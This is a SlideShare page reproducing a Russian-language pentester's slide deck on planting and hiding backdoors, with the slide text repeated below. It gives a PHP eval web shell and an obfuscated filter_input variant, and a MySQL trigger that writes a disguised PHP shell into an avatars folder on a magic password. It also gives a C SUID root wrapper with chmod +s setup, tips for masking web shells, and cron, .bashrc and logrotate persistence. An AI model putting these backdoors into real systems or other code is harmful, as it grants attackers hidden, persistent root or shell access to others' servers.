Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
SlideShare a Scribd company logo
BACKDOORS
ПРОНИКНОВЕНИЕ БЕЗ БОЛИ
WhoAmI
 12 лет в информационной безопасности
 7 лет пентеста и аудита
 Специалист ЦАРКА
 Telegram: @alex_bezopasnikov
Распространенные типы
- Бекдоры в PHP (шеллы, закладки)
- Бекдоры в MySQL (тригеры)
- Бекдоры в окружении ОС (SUID-ники, bash-
скрипты)
- Бекдоры в бинарном софте (протрояненный
софт)
Бекдоры в PHP (закладки)
eval($_REQUEST[cmd]);
НИКОГДА так не делайте
Варианты:
1) Обфусцированный код — плохой вариант
2) Фрагментированная закладка — лучше, но упоротый
3) Логичная закладка, где она будет к месту.
4) Закладка, которую не поймут :)
-- auto_prepend_file — удивительно, но на практике отличный вариант. Нужны
права на правку php.ini (root)
-- filter_input(1,'_',1024,array('options'=>filter_input(1,'__',521)));
И это только примеры. Вариантов сотни
Бекдоры в PHP (шеллы)
4 поколения web-шеллов. История
1-е — /cgi-bin/counter.pl?file=|id|. 90-е года
2-е — c99, r57, идеальный WSO. Используют
POST. 00-е года
3-е — Используют GET, передают команды в
HTTP-заголовках. 00-10-е года.
4-е — Используют GET, передают команды в
Cookies. 10-й-???
Бекдоры в PHP (шеллы)
МАСКИРОВКА
1) Имя файла (wso.php, shell.php, etc)
2) Время доступа к файлу и директории
3) Расположение файла
4) Сигнатуры файла
Бекдоры в MySQL (тригеры)
delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='my_shell' THEN
SELECT '<?=`$_REQUEST[„cmd“]`?>' INTO OUTFILE
'/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END;
|
Бекдоры в ОС (SUID-ники)
ПАЛЕВО#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
if(argc == 2) {
setgid(0); setuid(0);
system(argv[1]); }
return 0;
}
execl("/bin/bash","/bin/bash", "-c", "chown 0:0 exec; chmod 755 exec;
chmod +s ./exec;", NULL);
Бекдоры в ОС (bash-
скрипты)
1) Cron
2) .bashrc (alias)
3) logrotate (prerotate, postrotate,
firstaction,
lastaction)
Бекдоры в бинарном софте
(протрояненный софт)
В основном sshd
- Опасно
- Палевно
- Нестабильно
Иногда модули Apache, php
СПАСИБО!
Вопросы?

More Related Content

Бекдоры в пхп. Остаться незамеченным или проникновение без боли

  • 2. WhoAmI  12 лет в информационной безопасности  7 лет пентеста и аудита  Специалист ЦАРКА  Telegram: @alex_bezopasnikov
  • 3. Распространенные типы - Бекдоры в PHP (шеллы, закладки) - Бекдоры в MySQL (тригеры) - Бекдоры в окружении ОС (SUID-ники, bash- скрипты) - Бекдоры в бинарном софте (протрояненный софт)
  • 4. Бекдоры в PHP (закладки) eval($_REQUEST[cmd]); НИКОГДА так не делайте Варианты: 1) Обфусцированный код — плохой вариант 2) Фрагментированная закладка — лучше, но упоротый 3) Логичная закладка, где она будет к месту. 4) Закладка, которую не поймут :) -- auto_prepend_file — удивительно, но на практике отличный вариант. Нужны права на правку php.ini (root) -- filter_input(1,'_',1024,array('options'=>filter_input(1,'__',521))); И это только примеры. Вариантов сотни
  • 5. Бекдоры в PHP (шеллы) 4 поколения web-шеллов. История 1-е — /cgi-bin/counter.pl?file=|id|. 90-е года 2-е — c99, r57, идеальный WSO. Используют POST. 00-е года 3-е — Используют GET, передают команды в HTTP-заголовках. 00-10-е года. 4-е — Используют GET, передают команды в Cookies. 10-й-???
  • 6. Бекдоры в PHP (шеллы) МАСКИРОВКА 1) Имя файла (wso.php, shell.php, etc) 2) Время доступа к файлу и директории 3) Расположение файла 4) Сигнатуры файла
  • 7. Бекдоры в MySQL (тригеры) delimiter | CREATE TRIGGER backdoor AFTER UPDATE ON users FOR EACH ROW label:BEGIN IF (SELECT password FROM users WHERE id=123)='my_shell' THEN SELECT '<?=`$_REQUEST[„cmd“]`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php'; ELSE LEAVE label; END IF; END; |
  • 8. Бекдоры в ОС (SUID-ники) ПАЛЕВО#include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) { if(argc == 2) { setgid(0); setuid(0); system(argv[1]); } return 0; } execl("/bin/bash","/bin/bash", "-c", "chown 0:0 exec; chmod 755 exec; chmod +s ./exec;", NULL);
  • 9. Бекдоры в ОС (bash- скрипты) 1) Cron 2) .bashrc (alias) 3) logrotate (prerotate, postrotate, firstaction, lastaction)
  • 10. Бекдоры в бинарном софте (протрояненный софт) В основном sshd - Опасно - Палевно - Нестабильно Иногда модули Apache, php